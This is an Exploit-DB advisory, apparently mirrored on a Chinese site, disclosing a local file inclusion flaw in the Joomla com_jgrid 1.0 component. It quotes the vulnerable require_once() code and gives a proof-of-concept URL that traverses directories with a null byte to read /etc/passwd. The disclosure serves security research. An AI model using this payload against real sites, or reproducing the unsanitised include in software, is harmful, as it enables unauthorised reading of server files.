Joomla! Component com_jgrid 1.0 – Local File Inclusion

• Exploit Database
• 139 阅读

• 作者： Salvatore Fresta
  日期： 2010-08-16
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/14656/
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  Jgrid 1.0 Joomla Component Local File Inclusion Vulnerability   NameJgrid Vendorhttp://datagrids.clubsareus.org Versions Affected 1.0   AuthorSalvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta [at] gmail [dot] com Date2010-08-14   X. INDEX   I.ABOUT THE APPLICATION II. DESCRIPTION III.ANALYSIS IV. SAMPLE CODE V.FIX   I. ABOUT THE APPLICATION ________________________   DATA GRID Component built on the popular EXTJS Framework.     II. DESCRIPTION _______________   A parameter is not properly sanitised before beingused by the require_once function.     III. ANALYSIS _____________   Summary:   A) Local File Inclusion   A) Local File Inclusion _______________________   Thecontrollerparameter in jgrid.php is notsanitised beforebeingused by the PHP function's require_once(). This allows a guest to include local files. The following is the affected code:   if($controller = JRequest::getVar('controller')) { require_once (JPATH_COMPONENT.DS.'controllers'.DS.$controller.'.php'); }     IV. SAMPLE CODE _______________   A) Local File Inclusion   http://site/path/index.php?option=com_jgrid&controller=../../../../../../../../etc/passwd%00     V. FIX ______   No fix.